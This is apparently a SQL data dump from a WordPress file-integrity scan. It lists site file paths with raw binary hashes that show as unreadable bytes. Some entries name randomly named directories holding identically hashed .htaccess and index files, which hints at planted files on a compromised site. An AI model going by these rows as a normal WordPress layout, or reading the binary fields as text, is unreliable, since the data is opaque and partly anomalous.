('&	Ytz(\Z','wp-content/plugins/wordfence/modules/login-security/classes/controller/totp.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/totp.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`9Che7LR','YozewYEU\n\",X','',0,'?'),
('`1ܸQ%','wp-content/themes/twentytwentythree/templates/archive.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/archive.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','΀\"v0+\\݀','C*w9(ߢ~AOIo/K\0\"b','',0,'?'),
('-i>bs1','wp-includes/js/jquery/ui/resizable.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/resizable.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<\ZJg>[ ','P-sBIJ1ށWC','',0,'?'),
('4b\\.>\"!F','wp-content/themes/twentytwentyfive/patterns/contact-info-locations.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/contact-info-locations.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[\n&D^_d','\\ܼqC|O@%','',0,'?'),
('@4@:','wp-content/themes/twentytwenty/template-parts/content-cover.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/content-cover.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W4	DC;\'','Đ,n[\nJJ\rPHIs#ɱP|R ','',0,'?'),
('c ȵE9jz[','wp-includes/blocks/code/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/code/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z\r D-\ZBq','9dXׂlǅ昖e','',0,'?'),
('mDڜ(\r','wp-content/themes/twentytwentyone/assets/sass/05-blocks/pullquote/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/pullquote/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ۂؚMo}>9d','uuty9q{~Fu~4[\ri','',0,'?'),
('w7v+q1\Z','wp-includes/blocks/list/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/list/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wl(>߻Z',' /Zw=uiKwr$VϞ','',0,'?'),
('KS+e׎A@','wp-admin/css/colors/light/colors.scss','/home/trevorkl/trevorklee.com/wp-admin/css/colors/light/colors.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1`:%d','\'GZX*Q#	]{CD','',0,'?'),
('nI]Zm܏pJPB','wp-content/plugins/header-footer-code-manager/js/selectize.min.js','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/js/selectize.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L/Ѡ','e2ZZx\\0ъfŮnOsa','',0,'?'),
('Fe	57[','wp-content/plugins/wordfence/lib/email_newIssues.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/email_newIssues.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','FzQ} 0',']ǛcIT)ͣxn%}ImFb','',0,'?'),
('UNEAgt','wp-includes/js/customize-selective-refresh.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-selective-refresh.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CqMs}ؾ','yʏ0`Zݹz\'ա~px~Q1I','',0,'?'),
('Ao!Vų`v','wp-content/wflogs/ips.php','/home/trevorkl/trevorklee.com/wp-content/wflogs/ips.php',0,'lCdb.˴v','lCdb.˴v','Z][WP},7*q\nƑ','',0,'?'),
('lUy:e4N1ϻo','wp-content/themes/twentytwentyone/assets/sass/05-blocks/verse/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/verse/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']/\07(r^','8UGS5lrx\\)\n','',0,'?'),
('Puo66','wp-content/themes/twentytwentyfive/styles/typography/typography-preset-3.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/typography/typography-preset-3.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k-ԤE>7\Z','$YLU_!Ιr\0J/zѓ','',0,'?'),
('tYSQ/[RC','wp-includes/blocks/gallery/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/gallery/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x>','`Zd.yuسvyn<ޑuN','',0,'?'),
(';b\Zj)Dv','wp-includes/js/dist/script-modules/core-abilities/index.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/core-abilities/index.js',0,'5oxkU','5oxkU','Gv\\:У~^?ϼpMC\rr%','',0,'?'),
('RPlUj+\"gx','wp-content/themes/twentytwentyfour/patterns/footer.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/footer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@\'(!!','-\Z`;SX#tG0\0[8S','',0,'?'),
('\\\Ze	)Up','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ȑH\Zb>VDR2','rћJԑI/\nOY}xņU ','',0,'?'),
('^p\0j#\"Ĉ','wp-includes/css/dist/block-library/elements-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/elements-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sHH㑡 ','/hLLʭShHJԺ4  \"?A@','',0,'?'),
('f9sfl','wp-includes/sitemaps/1xuftgv/dtrewsx/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/1xuftgv/dtrewsx/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('w+\02R','wp-includes/sodium_compat/src/Core32/SecretStream/State.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/SecretStream/State.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Zjo\0y,*}c','2p\"Wjslf&S@[\\\"W','',0,'?'),
('1퀷h','wp-includes/js/dist/script-modules/block-library/form/view.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/form/view.min.asset.php',0,'16O','16O',']!AuM7@Ʀ	S3J2}\'','',0,'?'),
('-B|tS^','wp-includes/customize/class-wp-customize-nav-menu-section.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-section.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ԡP\n}$','vG~?t7\0hR,|]9p.Jw','',0,'?'),
('-92g','wp-includes/SimplePie/src/HTTP/FileClient.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/FileClient.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','練Q!Z','#c\\ImM׀PJ0\0*(g J;\0','',0,'?'),
('kЛ5\"ڪ[','wp-includes/blocks/cover/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/cover/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('΢S˪\nBV\"','wp-includes/fonts/dashicons.svg','/home/trevorkl/trevorklee.com/wp-includes/fonts/dashicons.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_3$_n5X',';ʐ\'84aOoY8-U62Kqq$Bx','',0,'?'),
('\\h\Z)Ġ','wp-includes/blocks/paragraph/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/paragraph/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','IZZZe\\t','͖xI@:p4Qw쮌=]Z','',0,'?'),
('ՖWat1bW2I)','wp-content/themes/twentytwentyfive/assets/images/delphinium-flowers.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/delphinium-flowers.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=\0B@=?Tp','tXo]^fe5<\\m7M','',0,'?'),
('*Q.	-c%D','wp-content/plugins/wordfence/lib/flags.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/flags.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ic磭c-','8YCO0j{\ZxDĖxO','',0,'?'),
('[s[f#|$u','wp-includes/PHPMailer/OAuthTokenProvider.php','/home/trevorkl/trevorklee.com/wp-includes/PHPMailer/OAuthTokenProvider.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!EfT5йs-\\','SRuW?,tꔄW$','',0,'?'),
('\n	MI~YEO]','wp-includes/blocks/post-featured-image/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-featured-image/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','YIQצr2N(','TxHNJY<!?vOBzZ','',0,'?'),
('ܡ9u_\\\n9\'','wp-admin/css/color-picker.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/color-picker.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&v8r\r:','գmcl/\'op\rV,>{y','',0,'?'),
('\'yo)_','wp-content/plugins/wordfence/lib/wfAuditLog.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfAuditLog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f(~M]%','gt7dpfj0Rn9;','',0,'?'),
('KUg0MU/ʇ','wp-admin/admin-functions.php','/home/trevorkl/trevorklee.com/wp-admin/admin-functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e,%`ʉuE,\0','w:\\ bCUӿXSb#ߛ4','',0,'?'),
('4;V\'/f','wp-includes/js/jquery/ui/effect-scale.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-scale.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_Q\nVWs','QںcXڿl	bɯ{{^Xoʚ','',0,'?'),
('7OW\n@a','wp-admin/css/colors/modern/colors-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/modern/colors-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<o6CUCz','3?ط3#	ZS\Zg1YT','',0,'?'),
(';{ks','wp-content/themes/twentytwenty/404.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/404.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rph(y7w','΋[_wS^[xhºםݻ6D','',0,'?'),
('i3;s/-','wp-includes/html-api/knojvbd/lyuifac/csdhol1/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/csdhol1/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('iz\r*K','wp-includes/Requests/src/Transport/Fsockopen.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Transport/Fsockopen.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','95h^&9U','}|IWA\r~H\ZH!Z','',0,'?'),
('qzaY\\Q','wp-content/plugins/wordfence/js/wfonboarding.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/wfonboarding.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(]4h\rg','^W:46:2,)x-J=>','',0,'?'),
('rMÄe','wp-content/themes/twentytwentytwo/inc/patterns/footer-query-title-citation.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-query-title-citation.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' fu1','z*85v5+2{d@o}\rR','',0,'?'),
(';*F\'u','wp-includes/blocks/code/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/code/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+v{df$9^','K鏬/ sCS-\0Ujhs5 ','',0,'?'),
('qYG%B','wp-content/themes/twentytwentyone/assets/sass/02-tools/mixins.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/02-tools/mixins.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','LEyFp`','،@CB+=\Z','',0,'?'),
('C\nU','wp-admin/js/custom-header.js','/home/trevorkl/trevorklee.com/wp-admin/js/custom-header.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ݎ\Z\Zڸ','vN;dV5dt,','',0,'?'),
('nO.}','wp-content/themes/twentytwenty/templates/template-cover.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/templates/template-cover.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0\rD81(','?-\n	Hx9*f','',0,'?'),
('+bqhXrE\Z','wp-includes/blocks/comment-author-name/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-author-name/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x9\rp\r8K','|ާBOCoi77=_!]Б','',0,'?'),
('ĦZϿn}','wp-content/plugins/loginizer/license.txt','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/license.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Oe8%YQdQl','XQ\Zc6?pAHB5NpJy@','',0,'?'),
('Є$*HC','wp-includes/js/tinymce/plugins/wpeditimage/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpeditimage/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('-]J㐛','wp-content/themes/twentytwentytwo/assets/images/bird-on-black.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/bird-on-black.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']\0&^=','f3fq_5nASJ W+j','',0,'?'),
(']YK9{bH4<','wp-includes/SimplePie/src/Cache/Memcached.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/Memcached.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6OSA!k[2܋G0','kռN`n,sjJ%nTЩG}','',0,'?'),
('@րeƪ:Ϗ','wp-content/plugins/wordfence/css/wf-global.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-global.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Zq̸R(dbym','$ISIھckܭ@)8++)AUH$u\Z','',0,'?'),
('窒u\rZJW+','wp-content/plugins/wordfence/images/help.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/help.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$N;\'M Y','\Z7\0r/iz;ki,=LZg','',0,'?'),
(')t\r,Jڼ','wp-admin/options-permalink.php','/home/trevorkl/trevorklee.com/wp-admin/options-permalink.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2nN\Z/ԈtE','҈F^#0l	OėYwѤZ','',0,'?'),
('vL:J','wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.ttf.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.ttf.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@Zɳ|3','_icB7H%K ','',0,'?'),
('?Ǆ:\nX','wp-includes/customize/class-wp-customize-theme-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-theme-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z1ᗊ4i#','dt1(qڜ(A^','',0,'?'),
('\rQQu','wp-content/themes/twentytwentyfive/patterns/more-posts.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/more-posts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','兪N8HPuT͞','侘~Dwbf]a%$ְ&','',0,'?'),
('\Z) %iyδ','wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}+#z,erEJ-','sfq@8!yW&ڔA+/uY44G','',0,'?'),
('e_ I','wp-includes/blocks/comments-pagination-numbers/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination-numbers/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('vaC !\Zь','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o8+bG^','GU}QXR\r\0\rzNm)m$c','',0,'?'),
('3dyjV','wp-content/plugins/wordfence/lib/menu_firewall_blocking.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_firewall_blocking.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','		V	ݍcu','ߠr׹t!Qpݾ$za]{v^','',0,'?'),
('By$Cci8+g!','wp-includes/blocks/details/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/details/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z$Up=','hD0DcErCQ6&0VLf|љ\r','',0,'?'),
('PBL9>8l]','wp-includes/wp-cron.php','/home/trevorkl/trevorklee.com/wp-includes/wp-cron.php',0,'/&&7','/&&7','4g FGF3t=[\n!J/}U_','',0,'?'),
('Rrr(ȟP','wp-includes/blocks/media-text/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/media-text/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P01\r4\r=1O%','ba<!3ڞQ]3s#QM4pE','',0,'?'),
('Wly:\0Vn`d\0','wp-includes/js/tinymce/plugins/wpview/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpview/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6-Aī[','lOogL.dCߏֲn=;~!','',0,'?'),
('[Y[jǈG','wp-includes/blocks/search/theme-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/theme-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z嘻S','-Nk\",[[j_t -XO','',0,'?'),
('h8ʯn-	*','wp-includes/blocks/buttons/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/buttons/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&/&&ݣ4h','K}?,GQYCA\\ I$1','',0,'?'),
('9>7','wp-includes/blocks/site-logo/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-logo/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ĸQ; \rg3','q7lc\ZhD<bC9q\n2367','',0,'?'),
('Gzo*蹀GI\"','wp-includes/html-api/smzgnbc/vxswmkl/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('z#[.oIdj','wp-content/plugins/wordfence/modules/login-security/classes/utility/multisite.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/multisite.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(~\rr\0.','ڄgcu4:oW_C	4:1','',0,'?'),
(',4#(#','wp-signup.php','/home/trevorkl/trevorklee.com/wp-signup.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']F###{','͍EC碎V5i>-H','',0,'?'),
(')PeD s','wp-includes/blocks/group/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/group/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}]x^E-','y [qj\Z\ZO2;JatEmB','',0,'?'),
('v+[.I$]T','wp-includes/style-engine/class-wp-style-engine-processor.php','/home/trevorkl/trevorklee.com/wp-includes/style-engine/class-wp-style-engine-processor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ꏬVuGݯe˟:','C_b%]D:!]bеt','',0,'?'),
('ǖd!s<XЯ','wp-content/plugins/wordfence/modules/login-security/classes/model/settings/wpoptions.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/settings/wpoptions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/Z䫩`dw7Du','PyF젺R4{8L/x\n','',0,'?'),
('ЗH&Yv','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES/Block.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES/Block.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[ވK>7O!2','Jcc]W5%@vMuB','',0,'?'),
('ѵ8]tw$܌g','wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oV?i\Z],','n\\MS&!	,C͹GyT','',0,'?'),
('ۑ݀m9l^H','wp-content/plugins/wordfence/images/logos/shield-premium.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/logos/shield-premium.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\r-ȭ\nQV','?mUL-lZOI,XSM׭ޝ-','',0,'?'),
('镨ys)a \0','wp-content/plugins/loginizer/lib/hybridauth/User/Profile.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/User/Profile.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Mo(','yJVۻb`i<Rw}ӸDi1ͅ','',0,'?'),
('쩯b/y;f','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-video.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-video.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ɲ5zC','5>h\"K5#j0\r\rt)','',0,'?'),
('\\{ԙUV','wp-includes/blocks/navigation-link/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-link/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','aec{:~D3','Y:$tr&=	Jg#B	>Kg2','',0,'?'),
('y7MA@','wp-includes/widgets/class-wp-widget-rss.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-rss.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9s\'钾T \nJ2','ABmqAziZu\\','',0,'?'),
('^yͻ.P<=','wp-content/themes/twentytwentyfive/patterns/hidden-sidebar.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hidden-sidebar.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`2;9\r47',')eL*\n{e8wx60ĺt','',0,'?'),
('_)0d|6_;n','wp-includes/js/dist/rich-text.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/rich-text.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z֓n','|!s\'o&!~$E','',0,'?'),
('#,C75AL','wp-content/plugins/wordfence/css/diff.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/diff.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','܀g		$`rQ','$hEJ^54<$ӭYc&','',0,'?'),
('=	\\vVx','wp-includes/blocks/rss/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/rss/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@wNLQ\r1Y','\\\\5Alo(4j,rLTs;h','',0,'?'),
('S`~_s.=','wp-includes/ID3/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/ID3/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('_֩,\'e~)\'','wp-content/maintenance/assets/images/twitter.svg','/home/trevorkl/trevorklee.com/wp-content/maintenance/assets/images/twitter.svg',0,'Oepu[cQs','Oepu[cQs','R(#.I}sZK}Q!i9','',0,'?'),
('~4ʑ6<[','wp-includes/blocks/site-tagline/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-tagline/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ndc/.','g\ZfȄa	xTD&?<','',0,'?'),
('<iQ\0','wp-includes/js/dist/reusable-blocks.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/reusable-blocks.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ml9U0','u\'8d{	U*Oc\r>\0XTs5','',0,'?'),
('`&%eFgd','wp-content/plugins/wordfence/models/block/wfBlock.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/models/block/wfBlock.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c;yh\\w3hU','\'E\\OfVWLp*Ƥ','',0,'?'),
('MġwwKN','wp-includes/js/dist/development/react-refresh-entry.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/development/react-refresh-entry.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	`OmWeI{_','ǒK4i\'R!Dim0mu/','',0,'?'),
('\"sybNl-','wp-includes/blocks/preformatted/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/preformatted/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SG{Ĉ]51','_pc)k3YHLIWOP]9tS','',0,'?'),
(':8Iaølm','wp-admin/includes/class-ftp-pure.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-ftp-pure.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T&}\\3J \0','\nS{UCdz$ya|8[','',0,'?'),
('[R','wp-content/themes/twentynineteen/template-parts/post/author-bio.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/post/author-bio.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&Kʦy1O','?;-MH\'NP','',0,'?'),
('f\\,t_0','wp-content/themes/twentytwentytwo/inc/patterns/footer-default.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-default.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_-Ly{','ΓM\Zф\ZdU	\nr\'','',0,'?'),
('KqM{','wp-admin/css/dashboard.css','/home/trevorkl/trevorklee.com/wp-admin/css/dashboard.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\)ѷkZ4A','\'Cg|:gSqSP(%\rSs','',0,'?'),
('{xZc\"hb?','wp-includes/js/dist/dom.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/dom.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','FrB\ng	D1','|8B%qQ@JTcnu4','',0,'?'),
('*e^\\\n','wp-content/plugins/wordfence/views/scanner/text/issue-optionBadURL.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-optionBadURL.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~t1(SF\"','+F5ᗨM=hKTGj$`}','',0,'?'),
('5I-zg','wp-content/themes/twentytwentyfive/styles/typography/typography-preset-4.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/typography/typography-preset-4.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ao>ڿ鐯cnS','e{<.y㪶ssFr','',0,'?'),
('Ȓ\"N=L.U','wp-includes/blocks/more/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/more/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?㈫	rpE.','}&ڈnJIXYɮyMd8f)','',0,'?'),
('ϝ6=̍','wp-includes/blocks/post-excerpt/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-excerpt/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','եL`L(ҩ','BO!7R?0yď5','',0,'?'),
